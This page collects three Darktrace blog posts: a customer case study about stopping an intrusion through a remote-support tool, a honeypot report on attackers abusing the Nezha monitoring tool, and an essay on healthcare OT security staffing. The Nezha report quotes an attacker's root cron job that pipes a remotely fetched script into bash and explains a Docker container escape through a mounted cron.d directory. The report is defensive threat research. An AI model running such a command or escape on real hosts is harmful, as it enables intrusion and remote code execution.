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December 11, 2024

Company Shuts Down Cyber-attacks with “Flawless” Detection and Response from Darktrace

This blog explores how Darktrace shut down a major third-party cyber-attack, preventing the deployment of ransomware. Read more to discover how the security team now spends 80-90% of their time working on more strategic projects vs. manual, low-level tasks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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11
Dec 2024

Growing pains: Balancing efficiency with risk  

This organization has recently scaled its operations, and numerous acquisitions have significantly boosted the organization’s capabilities and growth. However, this also creates work and high expectations for the organization’s IT and security teams. Within 12 months of an acquisition, the teams must fully integrate each new business onto the company’s platform. “A huge piece of that integration plan is rolling out our security controls,” said the CISO. “While our goal is to connect those facilities up as quickly as possible to drive efficiency, we also need to implement the proper security controls to protect the enterprise.”

Gap beyond the perimeter  

The organization had established strong security measures to safeguard its perimeter; however, the CISO identified a critical gap in real-time network monitoring. If the perimeter were breached, threats were only discovered after an endpoint was compromised and the issue was manually reported.

As digital transformation progresses, the need to adopt advanced technologies is becoming essential, particularly as organizations begin to open up operational environments to greater connectivity. Many processes still rely on traditional methods, and integrating innovative solutions could drive significant improvements in efficiency and productivity. “We’re committed to adopting cutting-edge technologies,” the CISO explained. “But we understood that without more robust network security controls, opening up our operational environments would expose us to heightened risks, including advanced threats like ransomware.”

Building a layered, proactive security strategy with Darktrace  

To close the gap beyond the perimeter, the company embarked on a free trial with Darktrace. The CISO recalls: “The trials were fantastic. It was obvious that Darktrace was exactly what we needed. The Darktrace team was also very knowledgeable and helpful throughout the process, which was impressive.”  

Today, the organization is using a combination of Darktrace solutions for its layered security approach, including:

Detecting unusual behavior with AI  

Darktrace’s use of machine learning and Self-Learning AI is one of the reasons the company chose Darktrace. Instead of teaching an AI system what an ‘attack’ looks like, training it on large data lakes of thousands of organizations’ data, Darktrace AI learns from the company’s own unique data and user activity to learn and create baseline models of what ‘normal’ looks like for their business.

Darktrace can then detect subtle deviations and unusual activity that signals a possible threat. “That fascinated us because what it really means is this technology doesn’t need to know about every single threat because the threat itself isn’t important, it’s the behavior of the activity that’s important. That capability is unique when it when it comes to threat detection,” said the CISO.

Identifying and mitigating high-impact attack paths

The security team appreciated that with Darktrace they could take a more proactive approach to security by exposing high-risk attack paths through modeling and AI risk assessments. Darktrace / Proactive Exposure Management gives them visibility into vulnerable entry points and assets, identifies active risks, and prioritizes the most important security issues to be addressed.

“Specific users and assets within our business have a higher risk of being targeted by a cyber-attack, for example our executives,” said the CISO. “With Darktrace, we get an adversarial view of our risk. We can see the attack path around those potential targets and proactively take measures to mitigate that vulnerability and prevent an attack.”

Driving up productivity while putting the brakes on cyber-attacks  

The security team collaborated with Darktrace to fine tune the models that really fit their business. With Darktrace now automating most of their threat detection and response efforts, productivity has soared, the security team is now focused on delivering greater value to the business and, most importantly, Darktrace proved it could quickly detect and shut down a major cyber-attack–and do so without impacting business operations.

Fueling team productivity with automation and AI

Prior to using Darktrace, the security team had little visibility into potential risks beyond the perimeter. Today, the team has full control and visibility over the network. “My team is now spending 80-90% of their time doing proactive work because Darktrace is managing the vast majority of our detect and response needs. The team really has faith in the Darktrace system,” said the CISO.  

With less time spent on low-level manual tasks, the security team can now focus on higher priority initiatives. For example, they have expanded their internal vulnerability assessments across the entire group. The team couldn’t focus on this additional audit and vulnerability management work if Darktrace wasn’t taking care of most of their security monitoring. “Darktrace has allowed us to move on to these additional kinds of governance projects that we otherwise would have to hire an army of staff to get through”.

Stopping email threats in their tracks

Using Darktrace / EMAIL, the company has identified and blocked a significant percentage of emails that were making it past their native email filters. “Darktrace is especially good at detecting impersonation emails, and we really appreciate its ability to automatically remove suspicious emails directly from a user’s inbox. It adds an extra level of confidence,” said the CISO.

Self-Learning AI understands anomalies within unique communication patterns to stop known and unknown threats. For example, when an employee sent an email to a brand new domain, Darktrace identified the behavior as unusual and inconsistent with baseline models and blocked the email.

Darktrace passes the biggest test of all

In 2024, the company experienced the value of the security system firsthand when attackers exploited a vulnerability in a third-party remote support solution that they was using. This solution provided remote access and tech support capabilities. If successful, the attackers could have infiltrated high-value end points and created their own administrative user, giving them full control over the server.

“We first became aware of the attack when Darktrace notified us of unusual behavior coming from the remote support server,” said the CISO. The attackers were attempting to put backdoors onto the service with the intent of selling access to the highest bidder who would then install ransomware on their servers. It all happened very quickly, as the attackers tried to connect to the internal network and other servers, while also firing off a host of other actions, like PowerShell commands, to escalate their privileges.  

“Darktrace worked flawlessly. There was no chance that ransomware was ever going to come in,” the CISO said. “Even though there was no signature to really look at, Darktrace realized this was not normal behavior for this server, shutting down connections and doing everything it could do to stop the attack.” Within eight hours, the security team identified and stopped the attack, severed its connection to the third-party solution, and completed additional analysis and clean-up. “In addition to our own investigation, third parties like our external SOC and legal department also confirmed that Darktrace performed as expected. We were able to report back to the executive team that there was zero risk that any data or systems were compromised.”

Post-attack, there was no need to make any changes to Darktrace. The team consistently reviews its models and baselines, often collaborating with Darktrace to make adjustments when needed to continuously improve performance. “Because of this relationship and constant engagement with Darktrace’s technical teams, we didn't have to go back and ask: ‘why wasn’t this updated’ or ‘why didn’t this model work.’ The models worked.”

His advice to other organizations facing similar challenges? First, focus on updating, patching, and vulnerability management, and act quickly when vulnerabilities are identified. His second piece of advice: “have an automated detection system like Darktrace in place so you can respond at the speed that these attacks evolve. Humans can no longer keep up with a scripted attack as it moves around and tries to compromise items on your network. You need the right technology to fight these types of attacks.”

Dynamic capabilities for a dynamic future

Real-time playbooks

With a proactive, enterprise-wide security strategy in place, the CISO now has the time to think about future projects and innovations. He’s particularly interested in the idea of generating playbooks on the fly in response to real-time events. He believes cyber-attacks are far too varied for a static playbook to be useful; when an attack strikes, teams need to quickly understand exactly what’s in front of them and how to shut it down. “This fits into our future cybersecurity strategy, and Darktrace is the only company I’ve seen talking about building playbooks dynamically. This kind of technology would really help bring our cybersecurity strategy full circle.”

“Darktrace ’s technology, experience and expertise is helping us staying ahead of cyber-attacks, minimizing our risk and driving greater productivity for our team,” said the CISO. In collaboration with Darktrace, the team have created a security foundation that is both powerful and agile. “While Darktrace is detecting and responding to attacks targeting our business today, we know that it’s always learning, adapting and scaling to ensure we’re protected tomorrow. That gives me peace of mind and the freedom to focus on our future.”

Download the Darktrace / NETWORK Solution Brief

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Protect in real time: Defend against known and emerging threats without relying on historical data or external intelligence.

Full visibility: Gain comprehensive insights across all network environments, including on-premises, cloud, and remote devices.

AI-powered efficiency: Streamline incident response with AI automation, saving time and resources while ensuring minimal disruption to operations.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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